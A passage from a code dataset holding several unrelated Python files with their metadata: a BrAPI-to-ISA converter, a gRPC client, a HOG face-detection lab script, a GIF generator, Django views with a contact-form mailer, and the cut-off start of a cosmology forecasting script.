OntologyAnnotation(term=\"genome sequencing\", term_accession=\"\", term_source=oref_tt)\n # oref_mt = OntologySource(name=\"OBI\", description=\"Ontology for Biomedical Investigation\")\n # oa_mt = OntologyAnnotation(term=\"nucleic acid sequencing\", term_accession=\"\", term_source=oref_mt)\n # isa_assay_file = \"a_\" + str(brapi_study_id) + \".txt\"\n # new_assay = Assay(measurement_type=oa_tt, technology_type=oa_mt, filename=isa_assay_file)\n # this_study.assays.append(new_assay)\n # if oref_mt not in investigation.ontology_source_references:\n # investigation.ontology_source_references.append(oref_mt)\n # if oref_tt not in investigation.ontology_source_references:\n # investigation.ontology_source_references.append(oref_tt)\n\n print(\"number of ISA assays:\", len(this_study.assays))\n\n return this_study, investigation\n\n def create_isa_characteristic(self, my_category, my_value):\n \"\"\"Given a pair of category and value, return an ISA Characteristics element \"\"\"\n this_characteristic = Characteristic(category=OntologyAnnotation(term=str(my_category)),\n value=OntologyAnnotation(term=str(my_value), term_source=\"\",\n term_accession=\"\"))\n\n return this_characteristic\n\n def create_isa_tdf_from_obsvars(self, obsvars):\n records = []\n header_elements = [\"Variable Name\", \"Variable Full Name\", \"Variable Description\", \"Crop\", \"Growth Stage\",\n \"Date\",\n \"Method\", \"Method Description\", \"Method Formula\", \"Method Reference\", \"Scale\",\n \"Scale Data Type\",\n \"Scale Valid Values\", \"Unit\", \"Trait Name\", \"Trait Term REF\", \"Trait Class\", \"Trait Entity\",\n \"Trait Attribute\"]\n\n tdf_header = '\\t'.join(header_elements)\n records.append(tdf_header)\n\n for obs_var in obsvars:\n record_element = [str(obs_var['name']), str(obs_var['ontologyDbId']), str(obs_var['ontologyName']),\n str(obs_var['crop']),\n str(obs_var['growthStage']), str(obs_var['date']), str(obs_var['method']['name']),\n str(obs_var['method']['description']), str(obs_var['method']['formula']),\n str(obs_var['method']['reference']), str(obs_var['scale']['name']),\n str(obs_var['scale']['dataType']),\n str(obs_var['scale']['validValues']['categories']), str(obs_var['scale']['xref']),\n str(obs_var['trait']['name']), str(obs_var['trait']['xref']),\n str(obs_var['trait']['class']),\n str(obs_var['trait']['entity']), str(obs_var['trait']['attribute'])]\n\n record = '\\t'.join(record_element)\n records.append(record)\n\n return records\n\n def create_isa_obs_data_from_obsvars(self, obs_units, obs_variables, level, germplasminfo, obs_levels):\n # TODO: BH2018 - discussion with Cyril and Guillaume: Observation Values should be grouped by Observation Level {plot,block,plant,individual,replicate}\n # TODO: create as many ISA assays as there as declared ObservationLevel in the BRAPI message\n data_records = []\n obs_levels_header = []\n for obslvl in obs_levels[level]:\n obs_levels_header.append(\"observationLevels[{}]\".format(obslvl))\n # headers belonging observation unit\n obs_unit_header = [\"observationUnitDbId\", \"observationUnitXref\", \"germplasmDbId\", \"germplasmName\", \"X\", \"Y\"]\n # headers belonging germplasm\n germpl_header = [\"accessionNumber\"]\n # headers belonging observation\n obs_header = [\"observationTimeStamp\"]\n # adding variables headers\n head = obs_levels_header + obs_unit_header + germpl_header + obs_header + obs_variables\n \n datafile_header = '\\t'.join(head)\n data_records.append(datafile_header)\n\n emptyRow = [] #Empty row that is later filled in with values -> fixed row size\n for i in range(len(head)):\n emptyRow.append(\"\")\n\n for obsUnit in obs_units:\n if obsUnit['observationLevel'] == level:\n row = copy.deepcopy(emptyRow)\n #Get data from observationUnit\n for obsdet in obsUnit.keys():\n if obsdet == \"observationLevels\":\n for obslvls in obsUnit['observationLevels'].split(\",\"):\n a,b = obslvls.split(\":\")\n row[head.index(\"observationLevels[{}]\".format(a))] = b\n if obsdet in obs_unit_header and obsUnit[obsdet]:\n outp = []\n if obsdet == \"observationUnitXref\":\n for item in obsUnit[obsdet]:\n if item[\"id\"]:\n outp.append(\"{!s}:{!r}\".format(item[\"source\"],item[\"id\"]))\n row[head.index(\"observationUnitXref\")] = ';'.join(outp)\n else:\n row[head.index(obsdet)] = obsUnit[obsdet]\n if obsdet == \"germplasmDbId\":\n row[head.index(\"accessionNumber\")] = germplasminfo[obsUnit[obsdet]][0]\n\n rowbuffer = copy.deepcopy(row)\n \n for measurement in obsUnit[\"observations\"]:\n #Get data from observation\n for mesdet in obs_header:\n if measurement[mesdet]:\n row[head.index(mesdet)] = measurement[mesdet]\n else:\n self.logger.info(mesdet + \" does not exist in observation in observationUnit \" + obsUnit['observationUnitDbId'])\n if measurement[\"observationVariableName\"] in head:\n row[head.index(measurement[\"observationVariableName\"])] = str(measurement[\"value\"])\n data_records.append('\\t'.join(row))\n row = copy.deepcopy(rowbuffer)\n else:\n self.logger.info(measurement[\"observationVariableName\"] + \" does not exist in observationVariable list \")\n\n return data_records\n", "sub_path": "brapi_to_isa_converter.py", "file_name": "brapi_to_isa_converter.py", "file_ext": "py", "file_size_in_byte": 19358, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "brapi_client.BrapiClient", "line_number": 22, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 33, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 34, "usage_type": "call"}, {"api_name": "isatools.model.Study", "line_number": 161, "usage_type": "call"}, {"api_name": "isatools.model.Comment", "line_number": 169, "usage_type": "call"}, {"api_name": "isatools.model.Comment", "line_number": 170, "usage_type": "call"}, {"api_name": "isatools.model.Comment", "line_number": 173, "usage_type": "call"}, {"api_name": "isatools.model.Comment", "line_number": 176, "usage_type": "call"}, {"api_name": "isatools.model.Comment", "line_number": 179, "usage_type": "call"}, {"api_name": "isatools.model.Comment", "line_number": 183, "usage_type": "call"}, {"api_name": "isatools.model.Comment", "line_number": 186, "usage_type": "call"}, {"api_name": "isatools.model.Comment", "line_number": 189, "usage_type": "call"}, {"api_name": "isatools.model.Comment", "line_number": 192, "usage_type": "call"}, {"api_name": "isatools.model.Comment", "line_number": 195, "usage_type": "call"}, {"api_name": "isatools.model.Comment", "line_number": 198, "usage_type": "call"}, {"api_name": "isatools.model.Comment", "line_number": 201, "usage_type": "call"}, {"api_name": "isatools.model.Comment", "line_number": 204, "usage_type": "call"}, {"api_name": "isatools.model.OntologyAnnotation", "line_number": 217, "usage_type": "call"}, {"api_name": "isatools.model.OntologySource", "line_number": 225, "usage_type": "call"}, {"api_name": "isatools.model.OntologyAnnotation", "line_number": 226, "usage_type": "call"}, {"api_name": "isatools.model.OntologySource", "line_number": 227, "usage_type": "call"}, {"api_name": "isatools.model.OntologyAnnotation", "line_number": 228, "usage_type": "call"}, {"api_name": "isatools.model.Assay", "line_number": 230, "usage_type": "call"}, {"api_name": "isatools.model.Characteristic", "line_number": 256, "usage_type": "call"}, {"api_name": "isatools.model.OntologyAnnotation", "line_number": 256, "usage_type": "call"}, {"api_name": "isatools.model.OntologyAnnotation", "line_number": 257, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 316, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 335, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 347, "usage_type": "call"}]} {"seq_id": "247425385", "text": "#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\n@author: RyanLee\n@time: 2019/4/9 18:30\n\"\"\"\nimport grpc\nimport yaml\nimport os\nfrom protos.resourcecenter import RCGradeService_pb2, RCGradeService_pb2_grpc\nfrom google.protobuf.json_format import MessageToDict\n\nBASE_DIR= os.path.dirname(os.path.dirname(os.path.dirname(__file__)))\nfile_path= BASE_DIR+ '/datas/env.yml'\nwith open(file_path, 'r', encoding='utf-8') as file:\n datas = yaml.safe_load(file)\n # print(datas)\n\n\nclass Grade(object):\n def __init__(self):\n self.base_url = datas['HOST'] + ':' + datas['PORT']\n self.conn = grpc.insecure_channel(self.base_url)\n self.client = RCGradeService_pb2_grpc.RCGradeServiceStub(channel=self.conn)\n\n # 查询年级列表\n def listGrade(self, stageId):\n response = self.client.listGrade(RCGradeService_pb2.RequestGradeList(stageId= stageId))\n\n res = MessageToDict(response)\n # print(res)\n return res\n\nif __name__ == '__main__':\n G= Grade()\n result= G.listGrade(stageId= 1)\n print(result)", "sub_path": "call_method/resourcecenter/grade_client.py", "file_name": "grade_client.py", "file_ext": "py", "file_size_in_byte": 1046, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "yaml.safe_load", "line_number": 16, "usage_type": "call"}, {"api_name": "grpc.insecure_channel", "line_number": 23, "usage_type": "call"}, {"api_name": "protos.resourcecenter.RCGradeService_pb2_grpc.RCGradeServiceStub", "line_number": 24, "usage_type": "call"}, {"api_name": "protos.resourcecenter.RCGradeService_pb2_grpc", "line_number": 24, "usage_type": "name"}, {"api_name": "protos.resourcecenter.RCGradeService_pb2.RequestGradeList", "line_number": 28, "usage_type": "call"}, {"api_name": "protos.resourcecenter.RCGradeService_pb2", "line_number": 28, "usage_type": "name"}, {"api_name": "google.protobuf.json_format.MessageToDict", "line_number": 30, "usage_type": "call"}]} {"seq_id": "470033612", "text": "#!/usr/bin/env python\n\nimport os\nimport sys\nimport cv2\nimport numpy as np\nimport progressbar\nimport os.path as osp\nfrom sklearn import svm\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nfrom scipy.misc import imresize, imsave\nfrom cyvlfeat.hog import hog, hog_render\nfrom misc import (hog_features, collect_uniform_integers,\n ind2sub)\n\nNEGATIVE_PATH = 'data/negatives'\nLABELS_ROOT = 'data/wider_face_split'\nLABELS_FILE = 'face_train.npz'\nLABELS_VAR = 'bounding_boxes'\n\nTRAIN_IMAGES_PATH = 'data/TrainImages'\nCROPPED_IMAGES_PATH = 'data/TrainCrops'\n\nHOG_SIZE_CELL = 8\nHARD_NEG_ITER = 7\n\nMIN_SCALE = -1\nMAX_SCALE = 3\nNUM_OCTAVE_DIV = 3\n\n\ndef get_cropped_image_dims(path):\n mean_shape = np.zeros((1, 2))\n max_shape = (0, 0)\n min_shape = (np.inf, np.inf)\n num_crops = 0\n bar = progressbar.ProgressBar(redirect_stdout=True)\n for dirpath, dirs, files in bar(os.walk(path)):\n for file in files:\n img_path = osp.join(dirpath, file)\n img = mpimg.imread(img_path)\n mean_shape += np.array(img.shape[0:2])\n max_shape = max(max_shape, img.shape[0:2])\n min_shape = min(min_shape, img.shape[0:2])\n num_crops += 1\n return min_shape, mean_shape / num_crops, max_shape\n\n\ndef get_mean_hog(path, dim):\n pos = []\n count = 0\n dim_xy = dim / HOG_SIZE_CELL\n hog_dim = (int(dim_xy[:, 0]), int(dim_xy[:, 1]), 31)\n mean_template = np.zeros(hog_dim)\n bar = progressbar.ProgressBar(redirect_stdout=True)\n for dirpath, dirs, files in bar(os.walk(path)):\n for file in files:\n img_path = osp.join(dirpath, file)\n img = mpimg.imread(img_path)\n res = cv2.resize(img, tuple(np.int64(dim[0])),\n interpolation=cv2.INTER_CUBIC)\n res = np.transpose(res, [1, 0, 2])\n hog_feat = hog_features(res)\n mean_template += hog_feat\n pos.append(hog_feat)\n count += 1\n return pos, mean_template / count\n\n\ndef extract_negatives(path, shape=(400, 300)):\n filename = 'negative{0}.jpg'\n neg_seq = 0\n patch_h, patch_w = shape\n for dirpath, dirs, files in os.walk(path):\n bar = progressbar.ProgressBar(redirect_stdout=True)\n for file in bar(files):\n img_path = osp.join(dirpath, file)\n print(img_path)\n\n img = mpimg.imread(img_path)\n max_width = img.shape[1] - patch_h\n max_height = img.shape[0] - patch_w\n for i in range(0, 5):\n try:\n y = np.random.randint(0, max_height)\n x = np.random.randint(0, max_width)\n except Exception:\n break\n patch = img[y:y + patch_h, x:x + patch_w]\n file_path = osp.join(NEGATIVE_PATH, filename.format(neg_seq))\n neg_seq += 1\n imsave(file_path, patch)\n\n\ndef collect_negatives(path, model):\n neg = []\n model_height, model_width, _ = model.shape\n for dirpath, dirs, files in os.walk(path):\n bar = progressbar.ProgressBar(redirect_stdout=True)\n for file in bar(files):\n img_path = osp.join(dirpath, file)\n print(img_path)\n\n img = mpimg.imread(img_path)\n hog_feat = hog_features(img)\n width = hog_feat.shape[1] - model_width + 1\n height = hog_feat.shape[0] - model_height + 1\n\n idx = collect_uniform_integers(0, width * height, 10)\n # print(idx.shape)\n for i in idx:\n hx, hy = ind2sub((height, width), i)\n hx = int(hx)\n hy = int(hy)\n # print(hx, hy)\n # sx = hx + np.arange(0, model_width)\n # sy = hy + np.arange(0, model_height)\n # neg.append(hog_feat[np.int64(sy), np.int64(sx), :])\n neg.append(hog_feat[hy:hy + model_height,\n hx:hx + model_width])\n return neg\n\n\ndef detect(img, model, hog_cell_size, scales):\n model_height, model_width, _ = model.shape\n hog_f = []\n detections = []\n scores = []\n for s in scales:\n img_rescaled = cv2.resize(img, None, fx=1.0 / s, fy=1.0 / s,\n interpolation=cv2.INTER_CUBIC)\n if min(*img_rescaled.shape[0:2]) < 128:\n break\n\n hog_f.append(hog_features(img_rescaled))\n score = cv2.filter2D(hog_f[-1], -1, model)\n score = np.sum(score, axis=-1)\n hy, hx = ind2sub(score.shape, np.arange(0, np.prod(score.shape)))\n x = (hx - 1) * HOG_SIZE_CELL * s\n y = (hy - 1) * HOG_SIZE_CELL * s\n detections.append(np.vstack((x - 0.5, y - 0.5,\n x + HOG_SIZE_CELL *\n model_width * s - 0.5,\n y + HOG_SIZE_CELL *\n model_height * s - 0.5)))\n scores.append(score.ravel())\n detections = np.vstack(detections).T\n scores = np.hstack(scores)\n sorted_idx = np.argsort(scores)[:1000]\n scores = scores[sorted_idx]\n detections = detections[:, sorted_idx]\n return detections, scores, hog_f\n\n\ndef eval_model(test_path, test_bbx, model):\n neg = []\n scales = 2**(np.linspace(MIN_SCALE,\n MAX_SCALE,\n NUM_OCTAVE_DIV * (MAX_SCALE - MIN_SCALE + 1)))\n for dirpath, dirs, files in os.walk(test_path):\n for file in files:\n img_path = os.join(dirpath, file)\n img = mpimg.imread(img_path)\n detections, scores, hog_f = detect(img, model, HOG_SIZE_CELL,\n scales)\n\ndef hard_negative_mining(pos, neg):\n for i in range(HARD_NEG_ITER):\n num_pos = len(pos)\n num_neg = len(neg)\n pos_labels = np.ones(num_pos)\n neg_labels = np.zeros(num_neg)\n C = 1.0\n # lambda_ = 0.5\n lambda_ = 1.0 / (C * (num_pos + num_neg))\n # lambda_ = 1.0 / (C * (numPos + numNeg))\n\n pos_shape = pos.shape\n neg_shape = neg.shape\n unrolled_pos = np.reshape(np.prod(pos_shape[0:3]),\n pos_shape[-1])\n unrolled_neg = np.reshape(np.prod(neg_shape[0:3]),\n neg_shape[-1])\n inputs = np.hstack((unrolled_pos, unrolled_neg))\n labels = np.hstack(pos_labels, neg_labels)\n model = svm.LinearSVC(C=lambda_)\n model.fit(inputs, labels)\n\n\ndef main():\n try:\n os.mkdir(NEGATIVE_PATH)\n except Exception:\n pass\n extract_negatives(TRAIN_IMAGES_PATH)\n # bbx = np.load(osp.join(LABELS_ROOT, LABELS_FILE))[LABELS_VAR]\n # bbx = bbx.item()\n # _, mean_dim, _ = get_cropped_image_dims(CROPPED_IMAGES_PATH)\n # mean_dim = np.ceil(mean_dim)\n # print(\"\\nCalculating HOG over positive examples\")\n # print(mean_dim)\n # pos, mean_hog = get_mean_hog(CROPPED_IMAGES_PATH, mean_dim)\n # pos = np.stack(pos, axis=-1)\n # np.save('hog_mean.npy', mean_hog)\n # print(\"Collecting negative examples...\")\n # neg = collect_negatives(TRAIN_IMAGES_PATH, mean_hog)\n # neg = np.stack(neg, axis=-1)\n # model = hard_negative_mining(pos, neg)\n\n # print(min_dim, mean_dim, max_dim)\n \"\"\"\n mean_dim = get_mean_size_bounding_box(bbx)\n dim = np.ceil(128 * mean_dim / mean_dim[1])\n print(dim)\n print(\"\\nCalculating HOG over positive examples\")\n dataset_bbx, mean_template = get_dataset_bounding_boxes(bbx,\n TRAIN_IMAGES_PATH,\n dim)\n np.save('hog_mean.npy', mean_template)\n \"\"\"\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "Lab9-HogDetection/src/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 7801, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.zeros", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 36, "usage_type": "attribute"}, {"api_name": "progressbar.ProgressBar", "line_number": 38, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.image.imread", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 55, "usage_type": "call"}, {"api_name": "progressbar.ProgressBar", "line_number": 56, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.image.imread", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 60, "usage_type": "name"}, {"api_name": "cv2.resize", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 62, "usage_type": "attribute"}, {"api_name": "numpy.transpose", "line_number": 63, "usage_type": "call"}, {"api_name": "misc.hog_features", "line_number": 64, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 75, "usage_type": "call"}, {"api_name": "progressbar.ProgressBar", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.image.imread", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 81, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 86, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 87, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "name"}, {"api_name": "scipy.misc.imsave", "line_number": 93, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 99, "usage_type": "call"}, {"api_name": "progressbar.ProgressBar", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.image.imread", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 105, "usage_type": "name"}, {"api_name": "misc.hog_features", "line_number": 106, "usage_type": "call"}, {"api_name": "misc.collect_uniform_integers", "line_number": 110, "usage_type": "call"}, {"api_name": "misc.ind2sub", "line_number": 113, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 131, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 132, "usage_type": "attribute"}, {"api_name": "misc.hog_features", "line_number": 136, "usage_type": "call"}, {"api_name": "cv2.filter2D", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 138, "usage_type": "call"}, {"api_name": "misc.ind2sub", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 158, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 161, "usage_type": "call"}, {"api_name": "os.join", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.image.imread", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 164, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 186, "usage_type": "call"}, {"api_name": "sklearn.svm.LinearSVC", "line_number": 187, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 187, "usage_type": "name"}, {"api_name": "os.mkdir", "line_number": 193, "usage_type": "call"}]} {"seq_id": "466454046", "text": "#-*- coding: UTF-8 -*- \n \n# import imageio\nfrom setting import CURRENT_SETTINGS\nfrom PIL import Image\nimport os\n# def create_gif(image_list, gif_name):\n \n# frames = []\n# for image_name in image_list:\n# frames.append(imageio.imread(image_name))\n# # Save them as frames into a gif \n# imageio.mimsave(gif_name, frames, 'GIF', duration = 0.1)\n \n# return\n \ndef main():\n image_list = ['test_gif-1.png', 'test_gif-2.png', 'test_gif-4.png', \n 'test_gif-6.png', 'test_gif-8.png', 'test_gif-10.png']\n # gif_name = 'created_gif.gif'\n # create_gif(image_list, gif_name)\n root_path = CURRENT_SETTINGS.root_path\n pic_path = os.path.join(root_path,\"save_picture\")\n\n im=Image.open(os.path.join(pic_path,\"test_gif-0.png\"))\n images=[]\n for i in image_list:\n images.append(Image.open( os.path.join(pic_path, i) ) )\n\n gif_path = os.path.join(root_path,\"static\",\"final_gif.gif\")\n im.save(gif_path, save_all=True, append_images=images,loop=0,duration=100,comment=b\"aaabb\")\n \nif __name__ == \"__main__\":\n main()\n", "sub_path": "raspy_python/generate_gif.py", "file_name": "generate_gif.py", "file_ext": "py", "file_size_in_byte": 1074, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "setting.CURRENT_SETTINGS.root_path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "setting.CURRENT_SETTINGS", "line_number": 22, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 25, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 25, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 28, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 28, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}]} {"seq_id": "307700015", "text": "\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.template import RequestContext, loader\nfrom django.shortcuts import render_to_response, render\nimport json\nfrom django.core.mail import send_mail\n\nfrom .models import *\nfrom .forms import *\n# Create your views here.\n# def index(request):\n# return render_to_response('index.html')\n\ndef index(request):\n list = Expedition.objects.order_by('order')[:]\n project_categories = ProjectCategory.objects.all()\n logo_list = Support.objects.order_by('order')[:]\n section_list = Section.objects.first()\n raw_project_list = Project.objects.order_by('order')[:]\n project_list = []\n for i in raw_project_list:\n project_dict = {}\n project_dict['id'] = i.id\n project_dict['title'] = i.title\n project_dict['cover_image'] = i.cover_image\n project_dict['description'] = i.description\n categories = []\n categories_for_this_project = ProjectCategory.objects.filter(project_id=i.id)\n for category in categories_for_this_project:\n categories.append(category.category.lower())\n project_dict['categories'] = categories\n project_list.append(project_dict)\n quote_list = Quote.objects.all()\n contact_info = ContactInfo.objects.first()\n template = loader.get_template('index.html')\n project_categories_dict = {}\n for i in project_categories:\n if i.category in project_categories_dict.keys():\n project_categories_dict[i.category.lower()] += 1\n else:\n project_categories_dict[i.category.lower()] = 1\n project_categories_list = project_categories_dict.keys()\n context = RequestContext(request, {\n 'project_categories_list': project_categories_list,\n 'list': list,\n 'logo_list': logo_list,\n 'section_list': section_list,\n 'project_list': project_list,\n 'quote_list': quote_list,\n 'contact_info': contact_info,\n })\n return HttpResponse(template.render(context))\n\ndef expeditions(request, expedition_id):\n expedition = Expedition.objects.get(id=expedition_id)\n raw_expedition_images = ExpeditionImage.objects.filter(expedition_id=expedition_id).order_by('order')[:]\n expedition_activities = ExpeditionActivities.objects.filter(expedition_id=expedition_id)\n counter = 1\n expedition_images = []\n for i in raw_expedition_images:\n expedition_images_dicitonary = {}\n expedition_images_dicitonary['id'] = counter\n expedition_images_dicitonary['image'] = i.image\n expedition_images.append(expedition_images_dicitonary)\n counter += 1\n if expedition.template_used == 1:\n template = loader.get_template('projects/night_expedition_01.html')\n elif expedition.template_used == 2:\n template = loader.get_template('projects/night_expedition_02.html')\n else:\n template = loader.get_template('projects/night_expedition_03.html')\n context = RequestContext(request, {\n 'expedition': expedition,\n 'raw_expedition_images': raw_expedition_images,\n 'expedition_activities': expedition_activities,\n 'expedition_images': expedition_images,\n })\n return HttpResponse(template.render(context))\n\ndef projects(request, project_id):\n project = Project.objects.get(id=project_id)\n raw_project_images = ProjectImage.objects.filter(project_id=project_id).order_by('order')[:]\n counter = 1\n project_images = []\n for i in raw_project_images:\n project_images_dicitonary = {}\n project_images_dicitonary['id'] = counter\n project_images_dicitonary['image'] = i.image\n project_images.append(project_images_dicitonary)\n counter += 1\n if project.template_used == 1:\n template = loader.get_template('projects/night_project_01.html')\n elif project.template_used == 2:\n template = loader.get_template('projects/night_project_02.html')\n else:\n template = loader.get_template('projects/night_project_03.html')\n context = RequestContext(request, {\n 'project': project,\n 'raw_project_images': raw_project_images,\n 'project_images': project_images,\n })\n return HttpResponse(template.render(context))\n\n\ndef send_message(request):\n if request.method == 'POST':\n response_data = {}\n form = EmailForm(request.POST)\n if form.is_valid():\n name = request.POST.get(\"name\", \"\")\n email = request.POST.get(\"email\", \"\")\n subject = request.POST.get(\"subject\", \"\")\n message = request.POST.get(\"message\", \"\")\n i = InboundInterest(name=name, email=email, subject=subject, message=message)\n i.save()\n response_data['result'] = 'success'\n send_mail('theempire.no has received a contact request',\n name +' has sent you a message. He can be reached at '+ email +'. subject: '+subject + ' Message: '+message,\n 'no-reply@theempire.no', ['curiosity@theempire.no'], fail_silently=False)\n return HttpResponse(\n json.dumps(response_data),\n content_type=\"application/json\"\n )\n else:\n return HttpResponse(\n json.dumps({\"nothing to see\": \"this isn't happening\"}),\n content_type=\"application/json\"\n )\n", "sub_path": "theEmpireAdmin/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5349, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.template.loader.get_template", "line_number": 35, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 35, "usage_type": "name"}, {"api_name": "django.template.RequestContext", "line_number": 43, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 52, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 67, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 67, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 69, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 69, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 71, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 71, "usage_type": "name"}, {"api_name": "django.template.RequestContext", "line_number": 72, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 78, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 92, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 92, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 94, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 94, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 96, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 96, "usage_type": "name"}, {"api_name": "django.template.RequestContext", "line_number": 97, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 102, "usage_type": "call"}, {"api_name": "django.core.mail.send_mail", "line_number": 117, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 120, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 121, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 125, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 126, "usage_type": "call"}]} {"seq_id": "329782332", "text": "#!/usr/bin/python3\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Ellipse\nimport matplotlib.ticker as ticker\nfrom matplotlib.ticker import MaxNLocator\nfrom scipy.stats import norm, chi2\nfrom matplotlib import rc\n\nf_sky = {'PLANCK':0.6,'CCAT':0.24,'SO':0.4,'S4':0.4,'250_GRID' : 0.5,'250_500_GRID' : 0.5,'500_750_GRID' : 0.5,'750_900_GRID' : 0.5,'full_GRID' : 0.5}\nmean = (67.27,0.2225E-01 ,0.1198,2.21,0.9645,0.079)\ndelta = np.asarray((1.5 ,4E-4 ,4e-3,0.12 ,0.01,0.04))\nparam_names = 